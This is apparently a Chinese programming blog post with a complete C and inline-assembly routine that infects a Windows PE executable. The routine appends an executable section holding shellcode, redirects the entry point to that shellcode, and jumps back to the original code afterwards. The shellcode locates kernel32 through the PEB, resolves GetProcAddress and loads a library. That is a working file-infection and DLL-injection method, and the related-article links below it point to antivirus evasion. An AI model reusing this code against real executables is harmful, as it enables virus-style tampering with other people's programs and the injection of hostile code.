修改入口函数地址。这个是最省事的办法,在原PE文件中新增加一个节,计算新节的RVA,然后修改入口代码,使其指向新增加的节。当然,如果.text节空隙足够大的话,不用添加新节也可以。

BOOL ChangeOEP(CString strFilePath)
{
FILE* rwFile; // 被感染的文件
IMAGE_SECTION_HEADER NewSection; // 定义要添加的区块
IMAGE_NT_HEADERS NThea; //
DWORD pNT; // pNT中存放IMAGE_NT_HEADERS结构的地址
int nOldSectionNo;
int OEP; if((rwFile=fopen(strFilePath,"rb"))==NULL){ // 打开文件失败则返回
return FALSE;
} if(!CheckPE(rwFile)){ // 如果不是PE文件则返回
return FALSE;
} fseek(rwFile,0x3c,0);
fread(&pNT,sizeof(DWORD),1,rwFile);
fseek(rwFile,pNT,0);
fread(&NThea,sizeof(IMAGE_NT_HEADERS),1,rwFile); // 读取原文件的IMAGE_NT_HEADERS结构
nOldSectionNo=NThea.FileHeader.NumberOfSections; // 保存原文件区块数量
OEP=NThea.OptionalHeader.AddressOfEntryPoint; // 保存原文件区块OEP
IMAGE_SECTION_HEADER SEChea; // 定义一个区块存放原文件最后一个区块的信息
int SECTION_ALIG=NThea.OptionalHeader.SectionAlignment;
int FILE_ALIG=NThea.OptionalHeader.FileAlignment; // 保存文件对齐值与区块对齐值
memset(&NewSection, 0, sizeof(IMAGE_SECTION_HEADER));
fseek(rwFile,pNT+248,0); // 读原文件最后一个区块的信息
for(int i=0;i<nOldSectionNo;i++)
fread(&SEChea,sizeof(IMAGE_SECTION_HEADER),1,rwFile); FILE *newfile = fopen(strFilePath,"rb+");
if(newfile==NULL){
return FALSE;
}
fseek(newfile,SEChea.PointerToRawData+SEChea.SizeOfRawData,SEEK_SET);
goto shellend; __asm
{
shell: PUSHAD
MOV EAX,DWORD PTR FS:[30H] ;FS:[30H]指向PEB
MOV EAX,DWORD PTR [EAX+0CH] ;获取PEB_LDR_DATA结构的指针
MOV EAX,DWORD PTR [EAX+1CH]
;获取LDR_MODULE链表表首结点的inInitializeOrderModuleList成员的指针
MOV EAX,DWORD PTR [EAX]
;LDR_MODULE链表第二个结点的inInitializeOrderModuleList成员的指针
MOV EAX,DWORD PTR [EAX+08H]
;inInitializeOrderModuleList偏移8h便得到Kernel32.dll的模块基址
MOV EBP,EAX ;将Kernel32.dll模块基址地址放至kernel中
MOV EAX,DWORD PTR [EAX+3CH] ;指向IMAGE_NT_HEADERS
MOV EAX,DWORD PTR [EBP+EAX+120];指向导出表
MOV ECX,[EBP+EAX+24] ;取导出表中导出函数名字的数目
MOV EBX,[EBP+EAX+32] ;取导出表中名字表的地址
ADD EBX,EBP
PUSH WORD PTR 0X00 ;构造GetProcAddress字符串
PUSH DWORD PTR 0X73736572
PUSH DWORD PTR 0X64644163
PUSH DWORD PTR 0X6F725074
PUSH WORD PTR 0X6547
MOV EDX,ESP
PUSH ECX F1:
MOV EDI,EDX
POP ECX
DEC ECX
TEST ECX,ECX
JZ EXIT
MOV ESI,[EBX+ECX*4]
ADD ESI,EBP
PUSH ECX
MOV ECX,15
REPZ CMPSB
TEST ECX,ECX
JNZ F1 POP ECX
MOV ESI,[EBP+EAX+36] ;取得导出表中序号表的地址
ADD ESI,EBP
MOVZX ESI,WORD PTR[ESI+ECX*2] ;取得进入函数地址表的序号
MOV EDI,[EBP+EAX+28] ;取得函数地址表的地址
ADD EDI,EBP
MOV EDI,[EDI+ESI*4] ;取得GetProcAddress函数的地址
ADD EDI,EBP PUSH WORD PTR 0X00 ;构造LoadLibraryA字符串
PUSH DWORD PTR 0X41797261
PUSH DWORD PTR 0X7262694C
PUSH DWORD PTR 0X64616F4C
PUSH ESP
PUSH EBP
CALL EDI ;调用GetProcAddress取得LoadLibraryA函数的地址
PUSH WORD PTR 0X00 ;添加参数“test”符串
PUSH DWORD PTR 0X74736574
PUSH ESP
CALL EAX
EXIT: ADD ESP,36 ;平衡堆栈
POPAD
}
shellend:
char* pShell;
int nShellLen;
BYTE jmp = 0xE9;
__asm
{
LEA EAX,shell
MOV pShell,EAX;
LEA EBX,shellend
SUB EBX,EAX
MOV nShellLen,EBX
} // 写入SHELLCODE,
for(i=0;i<nShellLen;i++)
fputc(pShell[i],newfile); // SHELLCODE之后是跳转到原OEP的指令
NewSection.VirtualAddress=
SEChea.VirtualAddress+Align(SEChea.Misc.VirtualSize,SECTION_ALIG);
OEP=OEP-(NewSection.VirtualAddress+nShellLen)-5;
fwrite(&jmp, sizeof(jmp), 1, newfile);
fwrite(&OEP, sizeof(OEP), 1, newfile); // 将最后增加的数据用0填充至按文件中对齐的大小
for(i=0;i<Align(nShellLen,FILE_ALIG)-nShellLen-5;i++)
fputc('\0',newfile); // 新区块中的数据
strcpy((char*)NewSection.Name,".NYsky");
NewSection.PointerToRawData=SEChea.PointerToRawData+SEChea.SizeOfRawData;
NewSection.Misc.VirtualSize=nShellLen;
NewSection.SizeOfRawData=Align(nShellLen,FILE_ALIG);
NewSection.Characteristics=0xE0000020; // 新区块可读可写可执行、写入新的块表
fseek(newfile,pNT+248+sizeof(IMAGE_SECTION_HEADER)*nOldSectionNo,0);
fwrite(&NewSection,sizeof(IMAGE_SECTION_HEADER),1,newfile); int nNewImageSize=NThea.OptionalHeader.SizeOfImage+Align(nShellLen,SECTION_ALIG);
int nNewSizeofCode=NThea.OptionalHeader.SizeOfCode+Align(nShellLen,FILE_ALIG);
fseek(newfile,pNT,0);
NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress=0;
NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size=0;
NThea.OptionalHeader.SizeOfCode=nNewSizeofCode;
NThea.OptionalHeader.SizeOfImage=nNewImageSize;
NThea.FileHeader.NumberOfSections=nOldSectionNo+1;
NThea.OptionalHeader.AddressOfEntryPoint=NewSection.VirtualAddress; // 写入更新后的PE头结构
fwrite(&NThea,sizeof(IMAGE_NT_HEADERS),1,newfile);
fclose(newfile);
fclose(rwFile);
return TRUE;
}

修改PE文件的入口函数OEP的更多相关文章

  1. 动态修改PE文件图标(使用UpdateResource API函数)

    PE文件的图标存储在资源文件中,而操作资源要用到的API函数就是UpdateResource首先我们需要先了解一下ICO格式,参考资料:http://www.moon-soft.com/program ...

  2. Dll注入:修改PE文件 IAT注入

    PE原理就不阐述了, 这个注入是PE感染的一种,通过添加一个新节注入,会改变PE文件的大小,将原有的导入表复制到新节中,并添加自己的导入表描述符,最后将数据目录项中指向的导入表的入口指向新节. 步骤: ...

  3. 利用模块加载回调函数修改PE导入表实现注入

    最近整理PE文件相关代码的时候,想到如果能在PE刚刚读进内存的时候再去修改内存PE镜像,那不是比直接对PE文件进行操作隐秘多了么? PE文件在运行时会根据导入表来进行dll库的"动态链接&q ...

  4. DLL注入之修改PE静态注入

    DLL注入之修改PE静态注入 0x00 前言 我们要注入的的力量功能是下载baidu首页数据.代码如下: #include "stdio.h" #include"stdi ...

  5. 【黑客免杀攻防】读书笔记6 - PE文件知识在免杀中的应用

    0x1 PE文件与免杀思路 基于PE文件结构知识的免杀技术主要用于对抗启发式扫描. 通过修改PE文件中的一些关键点来达到欺骗反病毒软件的目的. 修改区段名 1.1 移动PE文件头位置免杀 工具:PeC ...

  6. 2、jQuery的基本概念-必看-版本-入口函数- jq对象和dom对象区别

    1.4. jQuery的版本 官网下载地址:http://jquery.com/download/ jQuery版本有很多,分为1.x 2.x 3.x 大版本分类: 1.x版本:能够兼容IE678浏览 ...

  7. Python读取PE文件(exe/dll)中的时间戳

    代码原文地址: https://www.snip2code.com/Snippet/144008/Read-the-PE-Timestamp-from-a-Windows-Exe https://gi ...

  8. 2019-11-29-Roslyn-通过-NuGet-库修改应用程序入口函数

    title author date CreateTime categories Roslyn 通过 NuGet 库修改应用程序入口函数 lindexi 2019-11-29 08:37:49 +080 ...

  9. 2019-4-21-Roslyn-通过-NuGet-库修改应用程序入口函数

    title author date CreateTime categories Roslyn 通过 NuGet 库修改应用程序入口函数 lindexi 2019-4-21 17:37:1 +0800 ...

随机推荐

  1. ubuntu虚拟环境virtualenv中djanggo连接mysql

    在ubuntu服务器上安装MYSQLDB,执行:sudo apt-get install python-mysqldb, 若提示: ---------------------------------- ...

  2. (二)stm32之中断配置

    一.stm32的中断和异常 Cortex拥有强大的异常响应系统,它能够打断当前代码执行流程事件分为异常和中断,它们用一个表管理起来,编号为0~15为内核异常,16以上的为外部中断,这个表就是中断向量表 ...

  3. android设备休眠机制

    如果一开始就对Android手机的硬件架构有一定的了解,设计出的应用程序通常不会成为待机电池杀手,而要设计出正确的通信机制与通信协议也并不困难.但如果不去了解而盲目设计,可就没准了. 首先Androi ...

  4. JSP中RequestDispatcher的用法

    RequestDispatcher是一个Web资源的包装器,可以用来把当前request传递到该资源,或者把新的资源包括到当前响应中.RequestDispatcher接口中定义了两个方法:inclu ...

  5. python类、对象、方法、属性之类与对象笔记

    python中一切皆为对象,所谓对象:我自己就是一个对象,我玩的电脑就是对象,坐着的椅子就是对象,家里养的小狗也是一个对象...... 我们通过描述属性(特征)和行为来描述一个对象的.比如家里的小狗, ...

  6. Spring MVC 之类型转换(五)

    虽然SpringMVC可以自动绑定多种数据类型,但是有时候有些特殊的数据类型还是会在绑定时发生错误,需要我们自己书写类型转换完成绑定. SpringMVC中提供两种绑定方式:以时间转换为例. 1.属性 ...

  7. Html_页面的高度宽度等

    offsetTop 指元素距离上方或上层控件的位置,整型,单位像素. offsetLeft 指元素距离左方或上层控件的位置,整型,单位像素. offsetWidth 指元素控件自身的宽度,整型,单位像 ...

  8. azure git 托管

    azure git上传部署步骤:(首次提交)cd 至本地代码路径git initgit add .git commit –m "initial commit"git remote ...

  9. 各种element/format 在manage display 下的选项

    long text = > plain text, summary and trimmed, trimmed,default, hiddenentity refernece => enti ...

  10. Openvpn 安装简述

    1.固定本地IP地址 vim /etc/sysconfig/network-scripts/ifcfg-eth0 2.同步时间.安装ntpd yum  install ntpddate netupda ...